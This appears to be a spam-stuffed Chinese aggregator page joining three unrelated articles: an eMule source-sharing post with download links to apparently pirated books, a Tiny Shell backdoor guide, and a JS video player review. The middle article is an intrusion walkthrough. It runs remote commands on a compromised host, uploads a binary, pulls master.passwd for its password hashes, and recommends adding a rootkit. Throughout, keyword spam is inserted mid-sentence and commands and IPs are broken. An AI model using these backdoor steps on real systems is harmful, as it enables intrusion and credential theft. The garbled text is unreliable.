1.分享下电驴(eMule)的源码源码
2.Tiny Shell使用说明书
3.Tiny Player (js) - 轻量好用、免费开源的源码 web 视频播放开发组件,内置硬解、源码软解视频功能
分享下电驴(eMule)的源码源码
这里分享一款资源分享与下载工具——电驴,实际上应该称为电骡,源码这是源码天地飞源码我维护的版本,eMuleVeryCD版本,源码VeryCD是源码一个不错的资源分享网站: verycd.com/。大约在年之前,源码中国市场流行的源码下载工具大约有三款:网际快车(flashget)、电驴(eMule)和迅雷,源码后来前两者都没落了。源码电驴的源码源码也开源了,迅雷抓住这个机会分析了电驴的源码下载协议(Kademlia),所以现在的源码迅雷也能解析电驴的下载协议,凡是能用电驴下载的链接,也能用迅雷下载。这是一些前尘往事吧。其实我蛮怀念那个时候的。
先看下软件功能截图吧。
编译方法:
1.将rcdll.dll复制到Visual Studio 安装目录的VC\bin目录中。(这是为了使用能在vista下显示的图标)
2. 用VS打开easyMule_Libs.sln,执行“生成解决方案”。(easyMule_Libs.sln里所包含的是easyMule所依赖的库文件。)
3.用VS打开easyMule.sln编译即可。qtexcel表格源码
电驴服务器列表(eMule server list): gruk.org/list.php ed2k://|server|...||/
这个是我维护的easyMule版本,由于不断的修改,可能会离原来的版本越来越远。
电驴的整个工程是mfc项目,里面使用的socket通信库是filezilla作者Tim Kosse在其开源项目filezilla中使用的CAsyncSocketEx,这是一个模仿mfc的CAsyncSocket类,但据说效率高于CAsyncSocket的类。
代码特点
电驴的代码虽然设计上不是最好的,但从代码风格和命名来说绝对是非常优良的,尤其是其变量、类名、函数等命名风格,真的是赏心悦目。而且其工程中的大多数类都可以直接拿来使用,比如/p-.h...
代码获取地址
链接: pan.baidu.com/s/RQcgq...
提取码: fac3
如果你编译或者调试有问题可以私信我。
图书推荐
电驴运行于 Windows 平台,使用 C++ 开发,如果你对 Windows C/C++ 编程感兴趣,我推荐两本书,一本书:
1.《Windows 程序设计》
这本书讲述了 Windows UI 相关原理的方方面面,且语言朴实、娓娓道来,犹如一位良师益友,我当初也是unity场景源码看这本书进入 Windows C/C++ 开发领域的;这本书的业界地位很高,可以说这本书是中国的老一代 Windows 程序员的启蒙和进阶读物。
获取链接:
链接: pan.baidu.com/s/1BCCYjg...
提取码: g7py
2. 《Windows 核心编程》
这本书正好与上一本相互弥补,讲述的是 Windows 非 UI 部分的运行原理,内容非常丰富,当之“核心”二字无愧,图书的作者是编写 Windows Sysinternals 套件的 Jeffrey Richter,如果你没听说过 Windows Sysinternals 套件,那你一定听说过,Process Explorer:
侯捷老师评价这本书是“搞 Windows 开发,需要两样资源,一是 MSDN,一本就是《Windows 核心编程》”,这本书口碑非常好,多次重印,每一版都有一些新的改动和惊喜。
获取链接:
链接: pan.baidu.com/s/1SH1b0G...
提取码: wh
图书资源收集于网络,如需要请购买正版,侵删。
CppGuide
我目前在大厂做架构,面试和指导千人成功找到满意的 C/C++ 岗位,在学习 C/C++ 开发的过程中踩过一个又一个坑,深知新手学习 C/C++ 的困难,因此特地给 C/C++ 开发的同学精心准备了一份优质学习资料————CppGuide,内容从 C/C++ 语言、stlink的源码网络编程、操作系统原理到完整的项目源码分析,同时这份资料也包括 C/C++ 学习方法、推荐的阅读书籍、简历指导和求职技巧等。
Enjoy it!
Tiny Shell使用说明书
Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。
一,前言
随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了。通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,彩票直播 源码修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而 Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。
二,应用
1,Tiny Shell简介 Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的-bit RC4加密,以躲避嗅探器的检测具备AES- + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。
2,Tiny Shell应用 测试环境: 本地:OpenBSD 3.4 IP:..0. 目标:FreeBSD 4.9 STABLE IP:..0. 首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。 #fetch mand”,比如./tsh ..0. “cat etc/passwd”,这条命令的意思是连接..0.目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。 现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh ..0. put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh ..0. put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh ..0.连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为 “./tsh ..0. get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh ..0. get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。
小结
Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。
Tiny Player (js) - 轻量好用、免费开源的 web 视频播放开发组件,内置硬解、软解视频功能
一款简单易用的 JS 视频播放器,完美满足我移动端播放视频的需求,向大家强烈推荐。
关于 Tiny Player
Tiny Player 是一个轻量级的视频播放器 JS 库,内嵌硬解和软解视频功能,支持原生控件样式及自定义控件样式,以小巧的体积实现了全面的视频播放功能。
Tiny Player JS 视频播放器技术特性
开发上手体验
在 web 开发中,若需实现视频播放功能,原生视频播放器往往兼容性差,且控制样式基础,使用不便。此时,一款优秀的视频播放器显得尤为重要。此前我曾推荐 xgplayer.js 西瓜播放器,虽然好用,但体积较大。今天我要介绍的是 Tiny Player,它小巧轻便。
安装使用
以下是三种安装方式:
tiny-player.min.js 文件可通过下载 Github 项目获得。从示例代码中可以看出,使用十分简单。
视频播放方式
TinyPlayer 支持 MSE (Media Source Extensions),这是一种 HTML5 规范,允许 JavaScript 控制媒体流的缓冲区,实现无缝播放。
目前也支持 HLS (HTTP Live Streaming),这是 Apple 的动态码率自适应技术,常用于 PC 和 Apple 终端的音视频服务。它包含一个 m3u(8) 格式的索引文件,记录了音视频文件的网络地址,播放软件根据索引打开文件进行在线播放。这种方式在视频播放中非常常见。
更多参数用法请查阅文档,官网也提供了丰富的代码示例,集成到项目中非常简单。但根据我的体验,官网可能挂在 Github 上,访问不稳定,有时需要借助工具才能打开。
免费开源说明
TinyPlayer 是一个免费开源的 JavaScript 视频播放器项目,源码托管在 Github 上,任何人都可以免费下载使用。尽管 Github 仓库主页上没有明确说明采用 MIT 开源协议,但官网页脚中有说明,因此可以放心使用。